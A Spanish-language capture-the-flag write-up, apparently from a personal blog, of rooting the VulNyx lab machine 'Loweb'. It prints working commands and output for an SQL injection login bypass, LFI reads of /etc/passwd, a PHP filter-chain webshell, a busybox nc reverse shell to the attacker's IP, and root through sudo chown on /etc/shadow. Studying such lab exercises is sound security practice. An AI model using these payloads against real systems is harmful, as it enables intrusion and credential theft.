cd ~/blog

~/writeups/vulnyx/30-loweb.md

30 - Loweb

low Linux vulnyxautor: Jordy Pérez Osorio aviso legal
SQL Injection (auth bypass)Local File Inclusion (LFI)PHP Filter Chains RCEsudo chown Privesc
vulnyx.com

~2 min de lectura


Esta máquina encadena vulnerabilidades web de impacto creciente. La inyección SQL evita la autenticación, el LFI confirma lectura de archivos y una cadena de filtros PHP transforma esa inclusión en ejecución de código sin necesitar una subida convencional. En local, el permiso sudo sobre chown permite cambiar la propiedad de archivos sensibles; la clave está en identificar qué recurso, una vez apropiado, abre el camino hacia root.

Identificamos la IP de la máquina víctima:

❯ arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.210

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:43 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:0B:F0:A8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:44 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.38 seconds

Enumeramos directorios y encontramos una aplicación library con paneles de login/admin:

❯ gobuster dir -u 'http://10.42.113.210' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html           (Status: 200) [Size: 10701]
library              (Status: 200) [Size: 1068]
server-status        (Status: 403) [Size: 278]
...

❯ gobuster dir -u 'http://10.42.113.210/library' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html           (Status: 200) [Size: 1068]
login                (Status: 200) [Size: 2151]
admin                (Status: 200) [Size: 2151]

En /login realizamos un SQL Injection de bypass de autenticación con ' OR 1=1-- -, que nos redirige al panel de administración http://10.42.113.210/library/admin/index.php y revela el usuario r3dh4ck.

En las opciones de idioma, al cambiar el lenguaje la URL pasa a index.php?lang=es.php, lo que sugiere un LFI. Lo confirmamos leyendo /etc/passwd:

http://10.42.113.210/library/admin/index.php?lang=../../../../../../etc/passwd

Usamos el wrapper php://filter para leer el código fuente en base64. El index.php del admin no revela nada útil, pero el del login sí contiene las credenciales de la base de datos:

http://10.42.113.210/library/admin/index.php?lang=php://filter/read=convert.base64-encode/resource=../login/index.php
❯ echo 'PD9waH...tbD4K' | base64 -d > login_index.php

❯ cat login_index.php
...
<?php
$errorMsg = "";
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
    $conn = new mysqli('localhost', 'root', 'jX16QM2eOQ5$', 'library');
    $sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $_SESSION['username'] = $_POST['username'];
        header('Location: /library/admin/index.php');
        exit;
    } else {
        $errorMsg = "Invalid credentials. Please try again.";
    }
}
?>
...

Para convertir el LFI en RCE, usamos un PHP filter chain generado con synacktiv/php_filter_chain_generator:

❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://temp

Inyectamos la cadena y pasamos el comando por el parámetro cmd, confirmando ejecución:

http://10.42.113.210/library/admin/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
<!DOCTYPE html>
<html lang="en" >
...
</html>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell:

&cmd=busybox nc 10.42.113.35 1234 -e /bin/bash

❯ ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.210:38666.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@loweb:/var/www/html/library/admin$

Para escalar privilegios, en /opt encontramos un script con credenciales:

www-data@loweb:/opt$ cat monitor.sh
...
SECRET_USER="r3dh4ck"
SECRET_PASS="contraseñaconÑjeje" # Change this password for the future
...

Nos logueamos como r3dh4ck:

www-data@loweb:/opt$ su r3dh4ck
su r3dh4ck
Password: contraseñaconÑjeje

r3dh4ck@loweb:/opt$

Sin embargo, no tenemos permiso de lectura sobre la flag de usuario:

r3dh4ck@loweb:~$ ls -l
-r-------- 1     775 r3dh4ck   33 Mar 15  2025 user.txt

Revisamos los permisos sudo:

r3dh4ck@loweb:~$ sudo -l
Matching Defaults entries for r3dh4ck on loweb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User r3dh4ck may run the following commands on loweb:
    (ALL) NOPASSWD: /usr/bin/chown

Podemos ejecutar chown como cualquier usuario sin contraseña. Primero nos apropiamos de la flag de usuario:

r3dh4ck@loweb:~$ sudo chown r3dh4ck user.txt

Para escalar a root hay varias vías; la más directa es apropiarnos de /etc/shadow (Writable Critical Files Privesc) y reemplazar la contraseña de root por una vacía:

r3dh4ck@loweb:~$ sudo chown r3dh4ck /etc/shadow

Generamos un hash de contraseña vacía con openssl y lo colocamos:

❯ openssl passwd -1
Password:
Verifying - Password:
$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/

r3dh4ck@loweb:~$ cat /etc/shadow | grep root
root:$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/:20162:0:99999:7:::

r3dh4ck@loweb:~$ su root
Password:
root@loweb:/home/r3dh4ck#

Obtenemos la última flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados